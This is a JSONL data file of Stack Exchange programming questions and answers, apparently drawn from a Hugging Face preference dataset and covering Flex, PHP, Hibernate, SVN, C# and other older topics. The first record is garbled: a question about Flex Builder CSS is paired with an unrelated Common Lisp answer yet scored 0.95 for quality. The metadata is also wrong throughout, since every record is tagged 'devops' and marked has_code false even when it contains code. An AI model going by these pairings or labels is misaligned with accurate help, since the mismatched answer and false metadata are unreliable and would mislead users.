{"id": "hf_b4afd0efd6db", "question": "<p>I have Flex Builder 3 installed on two Windows machines and the same project on both of them. On one computer, the CSS styles I defined are shown in design view; on the other computer they are not applied. Is there any reason why it might not work on one?</p>\n", "question_body": "", "answer": "Why not just\n```\n```\n(cons x y)\n```\n```\nBy the way, I tried to run your code in CLISP and it didn't work as expected. Since I'm not a big fan of the loop macro here's how you might accomplish the same thing recursively:\n```\n```\n(defun genint (stop)\n  (if (= stop 1) '(1)\n      (append (genint (- stop 1)) (list stop))))\n\n(defun genpairs (x y)\n  (let ((row (mapcar #'(lambda (y)\n                        (cons x y))\n                        (genint y))))\n    (if (= x 0) row\n        (append (genpairs (- x 1) y)\n                row))))\n\n(genpairs 100 100)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:21.627385"}
{"id": "hf_5d002fcb8174", "question": "<p>When I run a Flex application in the debug flash player I get an exception pop up as soon as something unexpected happened. However when a customer uses the application he does not use the debug flash player. In this case he does not get an exception pop up, but he UI is not working.</p>\n\n<p>So for supportability reasons, I would like to catch any exception that can happen anywhere in the Flex UI and present an error message in a Flex internal popup. By using Java I would just encapsulate the whole UI code in a try/catch block, but with MXML applications in Flex I do not know, where I could perform such a general try/catch.</p>\n", "question_body": "", "answer": "There is no way to be notified on uncaught exceptions in Flex 3. Adobe are aware of the problem but I don't know if they plan on creating a workaround.\nThe only solution as it stands is to put try/catch in logical places and make sure you are listening to the ERROR (or FAULT for webservices) event for anything that dispatches them.\nEdit:\nFurthermore, it's actually impossible to catch an error thrown from an event handler. I have logged a\nbug\non the Adobe Bug System.\nUpdate 2010-01-12:\nGlobal error handling is now supported in\nFlash 10.1\nand\nAIR 2.0\n(both in beta), and is achieved by subscribing the\nUNCAUGHT_ERROR\nevent of\nLoaderInfo.uncaughtErrorEvents\n. The following code is taken from the\ncode sample on livedocs\n:\n```\n```\npublic class UncaughtErrorEventExample extends Sprite\n{\n    public function UncaughtErrorEventExample()\n    {\n        loaderInfo.uncaughtErrorEvents.addEventListener(\n            UncaughtErrorEvent.UNCAUGHT_ERROR, uncaughtErrorHandler);\n    }\n\n    private function uncaughtErrorHandler(event:UncaughtErrorEvent):void\n    {\n        if (event.error is Error)\n        {\n            var error:Error = event.error as Error;\n            // do something with the error\n        }\n        else if (event.error is ErrorEvent)\n        {\n            var errorEvent:ErrorEvent = event.error as ErrorEvent;\n            // do something with the error\n        }\n        else\n        {\n            // a non-Error, non-ErrorEvent type was thrown and uncaught\n        }\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:21.650708"}
{"id": "hf_03cc936cedeb", "question": "<p>The above error message comes up just before SQL Server marks the database as \"Suspect\" and refuses to open it. Does anyone know what the message means and how to fix it? I think it's a matter of grabbing the backup, but would be nice if it was possible to recover the data.</p>\n\n<p>I've had a look at the <a href=\"http://support.microsoft.com/kb/306366\" rel=\"nofollow noreferrer\">kb article</a> but there are no transactions to resolve.</p>\n", "question_body": "", "answer": "It appears that it means your distributed transaction coordinator failed to start correctly when bringing the SQL Server online.\nplease refer to this\nASP.NET forum post\nand\nknowledge base article\nDepending on the level of logging, you should be able to take the last known backup and slowly recover the logs using point in time recovery techniques to slowly bring the database up to the point right before failure began.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:21.698203"}
{"id": "hf_c95fa6c3ab2e", "question": "<p>How do I get an element or element list by it's tag name. Take for example that I want all elements from <code>&lt;h1&gt;&lt;/h1&gt;</code>.\n­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­</p>\n", "question_body": "", "answer": "document.getElementsByTagName('a') returns an array. Look here for more information:\nhttp://web.archive.org/web/20120511135043/https://developer.mozilla.org/en/DOM/element.getElementsByTagName\nAmendment: If you want a real array, you should use something like\n```\nArray.from(document.getElementsByTagName('a'))\n```\n, or these days you'd probably want\n```\nArray.from(document.querySelectorAll('a'))\n```\n. Maybe polyfill\n```\nArray.from()\n```\nif your browser does not support it yet. I can recommend\nhttps://polyfill.io/v2/docs/\nvery much (not affiliated in any way)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:21.721907"}
{"id": "hf_7d49d96a0a1e", "question": "<p>I've got an application that uses a hibernate(annotations)/mysql combination for ORM. In that application, I got an entity with a Date field. I'm looking for a way to select on that date within a time range (so <code>hh:mm:ss</code> without the date part). </p>\n\n<p>In MySQL there's a function <code>TIME(expression)</code> that can extract the time part and use that in the where clause, but that does not seem to be available in Hibernate without switching to native queries. Is there an option in hibernate to do this, or should I loop through the results in java and do the comparison there? Would this be much slower as the MySQL solution, since that would not use indexes anyway?</p>\n", "question_body": "", "answer": "The following functions are available in HQL, maybe you could use them:\n```\nsecond(...), minute(...), hour(...), day(...), month(...), year(...)\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:21.745294"}
{"id": "hf_61cea7ece03d", "question": "<p>I need to write a module to detect similar documents. I have read many papers of fingerprints of documents techniques and others, but I do not know how to write code or implement such a solution. The algorithm should work for Chinese, Japanese, English and German language or be language independent. How can I accomplish this?</p>\n", "question_body": "", "answer": "You can use or at last study\ndifflib\nfrom Python's stdlib to write your code.\nIt is very flexible, and has algorithms to find differences between lists of strings, and to point these differences. Then you can use the\n```\nget_close_matches()\n```\nto find similar words:\n```\n```\n>>> get_close_matches('appel', ['ape', 'apple', 'peach', 'puppy'])\n['apple', 'ape']\n```\n```\nIt is not the solution but maybe it is a start.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:21.780503"}
{"id": "hf_8288edc51a34", "question": "<p>Is there a setting in ReSharper 4 (or even Visual Studio itself...) that forces a warning if I forget to wrap code in a <code>using</code> block, or omit the proper Dispose call in a <code>finally</code> block?</p>\n", "question_body": "", "answer": "Correct automatic Dispose analysis requires DFA (Data Flow Analysis) in a global way. It is unlikely that you create an IDisposable object and doesn't call any method on it and do not pass it around as an argument. If disposable object is passed to other methods (including calling its members, when \"this\" is implicitly passed), the tool should analyse if Dispose is not called within, or that object is not stored somewhere for later disposal.\nThat said, naive implementation of checking if disposable object is in fact disposed with \"using\" construct or in any other way would yield too much false positives, and render analysis useless.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:21.873692"}
{"id": "hf_95761e397542", "question": "<p>Let's say I have this code:</p>\n\n<pre><code>if (md5($_POST[$foo['bar']]) == $somemd5) {\n  doSomethingWith(md5($_POST[$foo['bar']]);\n}\n</code></pre>\n\n<p>I could shorten that down by doing:</p>\n\n<pre><code>$value = md5($_POST[$foo['bar']];\nif ($value == $somemd5) {\n  doSomethingWith($value);\n}\n</code></pre>\n\n<p>But is there any pre-set variable that contains the first or second condition of the current if? Like for instance:</p>\n\n<pre><code>if (md5($_POST[$foo['bar']]) == $somemd5) {\n  doSomethingWith($if1);\n}\n</code></pre>\n\n<p>May be a unnecessary way of doing it, but I'm just wondering.</p>\n", "question_body": "", "answer": "No, but since the assignment itself is an expression, you can use the assignment as the conditional expression for the if statement.\n```\nif (($value = md5(..)) == $somemd5) { ... }\n```\nIn general, though, you'll want to avoid embedding assignments into conditional expressions:\nThe code is denser and therefore harder to read, with more nested parentheses.\nMixing = and == in the same expression is just asking for them to get mixed up.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:22.028509"}
{"id": "hf_c5b61ab40555", "question": "<p>What are the best continuous integration frameworks/projects for Perl and why?</p>\n", "question_body": "", "answer": "The only one I've seen in action is\nSmolder\n(it is used for\nparrot\n). It is TAP based and therefore integrates well with standard perl testing structures. See also this\npresentation\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:22.075857"}
{"id": "hf_a04bcdd51caf", "question": "<p>When I run indent with various options I want against my source, it does what I want but also messes with the placement of *s in pointer types:</p>\n\n<pre><code>  -int send_pkt(tpkt_t* pkt, void* opt_data);\n  -void dump(tpkt_t* bp);\n  +int send_pkt(tpkt_t * pkt, void *opt_data);\n  +void dump(tpkt * bp);\n</code></pre>\n\n<p>I know my placement of *s next to the type not the variable is unconventional but how can I get indent to just leave them alone? Or is there another tool that will do what I want?  I've looked in the man page, the info page, and visited a half a dozen pages that Google suggested and I can't find an option to do this. </p>\n\n<p>I tried Artistic Style (a.k.a. AStyle) but can't seem to figure out how to make it indent in multiples of 4 but make every 8 a tab.  That is:</p>\n\n<pre><code>if ( ... ) {\n&lt;4spaces&gt;if ( ... ) {\n&lt;tab&gt;...some code here...\n&lt;4spaces&gt;}\n}\n</code></pre>\n", "question_body": "", "answer": "Uncrustify\nUncrustify has several options on how to indent your files.\nFrom the config file:\n```\nindent_with_tabs                           \n  How to use tabs when indenting code  \n  0=spaces only  \n  1=indent with tabs, align with spaces  \n  2=indent and align with tabs\n```\nYou can find it\nhere\n.\nBCPP\nFrom the website:\n\"bcpp indents C/C++ source programs, replacing tabs with spaces or the reverse. Unlike indent, it does (by design) not attempt to wrap long statements.\"\nFind it\nhere\n.\nUniversalIndentGUI\nIt's a tool which supports several beautifiers / formatters. It could lead you to even more alternatives.\nFind it\nhere\n.\nArtistic Style\nYou could try\nArtistic Style aka AStyle\ninstead (even though it doesn't do what you need it to do, I'll leave it here in case someone else finds it useful).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:22.122526"}
{"id": "hf_0849ac493c3f", "question": "<p>Take this code:</p>\n\n<pre><code>&lt;?php\nif (isset($_POST['action']) &amp;&amp; !empty($_POST['action'])) {\n    $action = $_POST['action'];\n}\n\nif ($action) {\n    echo $action;\n}\nelse { \n    echo 'No variable';\n}\n?&gt;\n</code></pre>\n\n<p>And then access the file with ?action=test\nIs there any way of preventing $action from automatically being declared by the GET? Other than of course adding</p>\n\n<pre><code>&amp;&amp; !isset($_GET['action'])\n</code></pre>\n\n<p>Why would I want the variable to be declared for me?</p>\n", "question_body": "", "answer": "Check your php.ini for the\n```\nregister_globals\n```\nsetting. It is probably on, you want it off.\nWhy would I want the variable to be declared for me?\nYou don't.\nIt's a horrible security risk. It makes the Environment, GET, POST, Cookie and Server variables global\n(PHP manual)\n. These are a handful of\nreserved variables\nin PHP.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:22.193856"}
{"id": "hf_d23eb6283d69", "question": "<p>Is there any easy to install/use (on unix) database migration tools like Rails Migrations? I really like the idea, but installing ruby/rails purely to manage my database migrations seems overkill.</p>\n", "question_body": "", "answer": "I haven't personally done it, but it should be possible to use ActiveRecord::Migration without any of the other Rails stuff.  Setting up the load path correctly would be the hard part, but really all you need is the\n```\nrake\n```\ntasks and the\n```\ndb/migrate\n```\ndirectory plus whatever Rails gems they depend on, probably\n```\nactiverecord\n```\n,\n```\nactviesupport\n```\nand maybe a couple others like\n```\nrailties\n```\n.  I'd try it and just see what classes are missing and add those in.\nAt a previous company we built a tool that did essentially what ActiveRecord::Migration does, except it was written in Java as a Maven plugin.  All it did was assemble text blobs of SQL scripts.  It just needs to be smart about the filenames going in order and know how to update a versioning table.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:22.217255"}
{"id": "hf_2a93d94767de", "question": "<p>How can I add Page transitions effects like IE in Safari for web pages?</p>\n", "question_body": "", "answer": "You could check out this example:\nhttp://sachiniscool.blogspot.com/2006/01/implementing-page-transitions-in.html\n. It describes how to emulate page transitions in Firefox using AJAX and CSS. The same method works for Safari as well. The code below is taken from that page and slightly formatted:\n```\n```\nvar xmlhttp;\nvar timerId = 0;\nvar op = 1;\n\nfunction getPageFx() {\n  url = \"/transpage2.html\";\n  if (window.XMLHttpRequest) {\n    xmlhttp = new XMLHttpRequest()\n    xmlhttp.onreadystatechange=xmlhttpChange\n    xmlhttp.open(\"GET\",url,true)\n    xmlhttp.send(null)\n  } else getPageIE();\n}\n\nfunction xmlhttpChange() {\n// if xmlhttp shows \"loaded\"\n  if (xmlhttp.readyState == 4) {\n  // if \"OK\"\n    if (xmlhttp.status == 200) {\n      if (timerId != 0)\n        window.clearTimeout(timerId);\n        timerId = window.setTimeout(\"trans();\",100);\n    } else {\n       alert(xmlhttp.status)\n    }\n  }\n}\n\nfunction trans() {\n  op -= .1;\n  document.body.style.opacity = op;\n  if(op < .4) {\n    window.clearTimeout(timerId);\n    timerId = 0; document.body.style.opacity = 1;\n    document.open();\n    document.write(xmlhttp.responseText);\n    document.close();\n    return;\n  }\n  timerId = window.setTimeout(\"trans();\",100);\n}\n\nfunction getPageIE() {\n  window.location.href = \"transpage2.html\";\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:22.240707"}
{"id": "hf_a26af8e5ffb9", "question": "<p>I've just created my first Preview 5 error and it doesn't seem to place nice with Resharper.  All the C# in the Views are coming up with errors, things like &lt;%= Html.Password(\"currentPassword\") %> has the \"currentPassword\" highlighted with the following error: Argument type \"System.String\" is not assignable parameter type \"string\".  </p>\n\n<p>IList errors = ViewData[\"errors\"] as IList; has the IList highlighted as \"Can not resole symbol 'string'\"</p>\n\n<p>Has anyone seen this?</p>\n", "question_body": "", "answer": "Did you try\nlatest nightly build\nof ReSharper 4.1? In some cases the bug in 4.1 manifests itself with numerous ambiguity errors, and it has been fixed within the follow up build.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:22.287186"}
{"id": "hf_0e4749e30a0d", "question": "<p>What tools are there for me to build a real, honest to goodness external DSL. And no, I'm not talking about abusing Ruby, Boo, XML or another existing language or syntax, I mean a REAL external DSL -- my own language for my own purposes.</p>\n\n<p>I know that there are a few language workbenches being developed and I've heard about things like \"Irony\" for .NET.  And, of course, there's ANTLR, Lex/Yaac, etc but I'm afraid those are too complicated for what I'm trying to do.</p>\n\n<p>Please talk about a DSL builder tool you may have used or heard about and your impressions on how it helps and what its downsides are.</p>\n", "question_body": "", "answer": "You should really check out\nRagel\n. It's a framework to embed state machines in your regular source code. Ragel supports C, C++, Objective-C, D, Java and Ruby.\nRagel's great for writing file and protocol parsers as well as stepping through external DSL stuff. Chiefly because it allows you to execute any kind of code on state transitions and such.\nA couple of notable projects that use Ragel are,\nMongrel\n, a great ruby web server. And\nHpricot\n, a ruby based html-parser, sort of inspired by jQuery.\nAnother great feature of Ragel is how it can generate\ngraphviz\n-based charts that visualize your state machines. Below is an example taken from\nZed Shaw's\narticle on ragel state charts\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:22.321692"}
{"id": "hf_efb33ffd0e7d", "question": "<p>Is there a way (without installing any libraries) of validating XML using a custom DTD in PHP?</p>\n", "question_body": "", "answer": "Take a look at\nPHP's DOM\n, especially\nDOMDocument::schemaValidate\nand\nDOMDocument::validate\n.\nThe example for DOMDocument::validate is fairly simple:\n```\n```\n<?php\n$dom = new DOMDocument;\n$dom->Load('book.xml');\nif ($dom->validate()) {\n    echo \"This document is valid!\\n\";\n}\n?>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:22.357237"}
{"id": "hf_a8ba95cc2135", "question": "<p>I am trying to develop a .NET Web Project using NHibernate and Spring.NET, but I'm stuck. Spring.NET seems to depend on different versions of the NHibernate assemblies (maybe it needs 1.2.1.4000 and my NHibernate version is 1.2.0.4000).</p>\n<p>I had originally solved similar problems using the &quot;bindingRedirect&quot; tag, but now even that stopped working.</p>\n<p><strong>Is there any simple solution to resolve these inter-library relations?</strong></p>\n", "question_body": "", "answer": "I too ran into this, frustrated I just grabbed the Spring source and compiled it against the latest NHibernate to make it go away forever.  Not sure if that's an option for you but the 10 minutes that took seems to have saved me a lot of time overall.\nHere's the SourceForge link for the Spring Source for all versions:\nSpring Source", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:22.407628"}
{"id": "hf_0ce6765afec5", "question": "<p>The default 64 MB max heap memory can be small for a large Java application. Are there any applet parameter to increment this for a signed applet?</p>\n\n<p>For a Java program this is a simple command line parameter but how this work for an applet in the browser.</p>\n", "question_body": "", "answer": "Not that I know for certain, it's been a long time since I wrote applets, but I don't think you can set this from the applet.\nApparently, you can set the JVM's heap size for the browser's JVM from the Java plug-in control panel, but that's something the user has to do before starting your applet.\nYou can always check\nhttp://forums.sun.com/thread.jspa?threadID=523105&messageID=3033288\nfor more discussion on the topic.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:22.454090"}
{"id": "hf_788fffc5abe3", "question": "<p>In C++, when is it best to use the stack? When is it best to use the heap?</p>\n", "question_body": "", "answer": "Use the heap for only allocating space for objects at runtime. If you know the size at compile time, use the stack. Instead of returning heap-allocated objects from a function, pass a buffer into the function for it to write to. That way the buffer can be allocated where the function is called as an array or other stack-based structure.\nThe fewer malloc() statements you have, the fewer chances for memory leaks.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:22.477690"}
{"id": "hf_24442c9c795c", "question": "<p>With previous versions of flash, entering the full screen mode increased the height and width of the stage to the dimensions of the screen.  Now that hardware scaling has arrived, the height and width are set to the dimensions of the video (plus borders if the aspect ratio is different).</p>\n\n<p>That's fine, unless you have controls placed over the video.  Before, you could control their size; but now they're blown up by the same scale as the video, and pixellated horribly.  Controls are ugly and subtitles are unreadable.</p>\n\n<p>It's possible for the user to turn off hardware scaling, but all that achieves is to turn off anti-aliasing.  The controls are still blown up to ugliness.</p>\n\n<p>Is there a way to get the old scaling behaviour back?</p>\n", "question_body": "", "answer": "```\n```\nstage.align     = StageAlign.TOP_LEFT; \nstage.scaleMode = StageScaleMode.NO_SCALE;\nstage.addEventListener(Event.RESIZE, onStageResize);\n\nfunction onStageResize(event:Event):void {\n    //do whatever you want to re-position your controls and scale the video\n    // here's an example\n    myFLVPlayback.width = stage.stageWidth;\n    myFLVPlayback.height = stage.stageHeight - controls.height;\n    controls.y = stage.stageHeight - controls.height;\n}\n```\n```\nOr, and I'm not entirely sure about this, you might try to do some 9 slice scaling on the FLVPlayback, but I don't know if that'll work.\n9-slice scaling tutorial:\nhttp://www.sephiroth.it/tutorials/flashPHP/scale9/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:22.612037"}
{"id": "hf_b496133453cc", "question": "<p>Is there a tutotial or help file, suitable for a beginner c# programmer to use.</p>\n", "question_body": "", "answer": "Andy Beaulieu has beein doing a lot of work to make Farseer easier to use in Silverlight, you can read about it here:\nhttp://www.andybeaulieu.com/Home/tabid/67/EntryID/115/Default.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:22.647189"}
{"id": "hf_a4e7b24c9758", "question": "<p>How to add child rows in datagrid c#.net windows forms?</p>\n", "question_body": "", "answer": "I'm not sure if this is what you're asking, but if you want to append rows you're easiest way is to append them to whatever DataSource you're using before you DataBind()\nIf this wasn't what you're after, please provide more detail.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:22.681909"}
{"id": "hf_0836316c9051", "question": "<p>Sorry, I'm new to SVN and I looked around a little for this. How do you mark a major version in SVN, kind of like set up a restore point. Right now I just setup my server and added all my files- I've been intermittently committing different changes. When I have something in a stable state is there a way to mark this so I can easily revert back to it if necessary?</p>\n", "question_body": "", "answer": "Sounds like you're looking for tags.\nTags in the Subversion book\n\"A tag is just a “snapshot” of a project in time\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:22.755895"}
{"id": "hf_c88d10815e25", "question": "<p>I'm looking for a method that computes the line number of a given text position in a JTextPane with wrapping enabled.</p>\n\n<p>Example:</p>\n\n<blockquote>\n  <p>This a very very very very very very very very very very very very very very very very very very very very very very long line.<br>\n  This is another very very very very very very very very very very very very very very very very very very very very very very long line.<strong>|</strong></p>\n</blockquote>\n\n<p>The cursor is on line number four, not two.</p>\n\n<p>Can someone provide me with the implementation of the method:</p>\n\n<pre><code>int getLineNumber(JTextPane pane, int pos)\n{\n     return ???\n}\n</code></pre>\n", "question_body": "", "answer": "Try this\n```\n```\n/**\n   * Return an int containing the wrapped line index at the given position\n   * @param component JTextPane\n   * @param int pos\n   * @return int\n   */\n  public int getLineNumber(JTextPane component, int pos) \n  {\n    int posLine;\n    int y = 0;\n\n    try\n    {\n      Rectangle caretCoords = component.modelToView(pos);\n      y = (int) caretCoords.getY();\n    }\n    catch (BadLocationException ex)\n    {\n    }\n\n    int lineHeight = component.getFontMetrics(component.getFont()).getHeight();\n    posLine = (y / lineHeight) + 1;\n    return posLine;\n  }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:22.779351"}
{"id": "hf_aa76c6b1cb7d", "question": "<p>Is there a way to \"align\" columns in a data repeater control? </p>\n\n<p>I.E currently it looks like this:</p>\n\n<pre><code>user1 - colA colB colC colD colE\nuser2 - colD colE\n</code></pre>\n\n<p>I want it to look like:</p>\n\n<pre><code>  user1\n   -colA\n   -colB\n   -colC\n   -colD\n   -colE\n\n\n   user1\n\n\n\n   -colD\n   -colE\n</code></pre>\n\n<p>I need to columns for each record to align properly when additional\nrecords might not have data for a given column.</p>\n\n<p>The requirements call for a repeater and not a grid control.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "If you have access to how many columns are mising in the repeat, then just the following as the table tag.  I you don't have access to this, can you post the source for your data repeater and what DataSource you're going against?\n```\n```\n<td colspan='<%# MissingCount(Contatiner.DataItem) %>'>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:22.814289"}
{"id": "hf_9a2e7e3935db", "question": "<p>Can I determine from an ASP.NET application the transfer rate, i.e. how many KB per second are transferd?</p>\n", "question_body": "", "answer": "There are a number of debugging tools you can use to check this at the browser.  It will of course vary by page, cache settings, server load, network connection speed, etc.\nCheck out\nhttp://www.fiddlertool.com/fiddler/\nOr if you are using Firefox, the FireBug add-in\nhttp://addons.mozilla.org/en-US/firefox/addon/1843", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:22.837471"}
{"id": "hf_9ff2e6f9aa41", "question": "<p>What is the best way to add \"Expires\" in http header for static content? eg. images, css, js</p>\n\n<p>The web server is IIS 6.0; the language is classical ASP</p>\n", "question_body": "", "answer": "I don't know if this is what you are looking for, but it does keep my pages from being cached.\n```\n```\n<META HTTP-EQUIV=\"Pragma\" CONTENT=\"no-cache\">\n<META HTTP-EQUIV=\"Cache-Control\" CONTENT=\"no-store\">\n<META HTTP-EQUIV=\"Cache-Control\" CONTENT=\"no-cache\">\n<META HTTP-EQUIV=\"Expires\" CONTENT=\"0\">\n<META HTTP-EQUIV=\"Cache-Control\" CONTENT=\"max-age=0\">\n```\n```\nI got these from an article on line that I no longer have a reference for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:22.872149"}
{"id": "hf_fec018b43dd5", "question": "<p>I'd like to add a drop-down list to a Windows application.  It will have two choices, neither of which are editable.  What's the best control to use?  Is it a combo box with the editing property set to No?</p>\n\n<p>I'm using Visual Studio 2008.</p>\n", "question_body": "", "answer": "```\nyourComboBox.DropDownStyle = ComboBoxStyle.DropDownList\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:22.918826"}
{"id": "hf_dba1df13dd5e", "question": "<p>I have a strange problem on a PeopleSoft application.   It appears that integration broker messages are being processed out of order.   There is another possibility, and that is that the commit is being fired asynchronously, allowing the transactions to complete out of order.</p>\n\n<p>There are many inserts of detail records, followed by a trailer record which performs an update on the rows just inserted.   Some of the rows are not receiving the update.  This problem is sporadic, about once every 6 months, but it causes statistically significant financial reporting errors.</p>\n\n<p>I am hoping that someone has had enough dealings with the internals of PeopleTools to know what it is up to, so that perhaps I can find a work around to the problem.</p>\n", "question_body": "", "answer": "You don't mentioned whether you've set this or not, but you have a choice with Integration Broker.  All messages flow through message channels, and a channel can either be ordered or unordered.  If a channel is ordered then - if a message errors - all subsequent messages queue up behind it and will not be processed until it succeeds.\nWhether a channel is ordered or not depends upon the checkbox on the message channel properties in Application Designer.  From memory channels are ordered by default, but you can uncheck the box to increase throughput.\nHope this helps.\nPS. As of Tools 8.49 the setup changed slightly, Channels became Queues, Messages Service Operations etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:22.953748"}
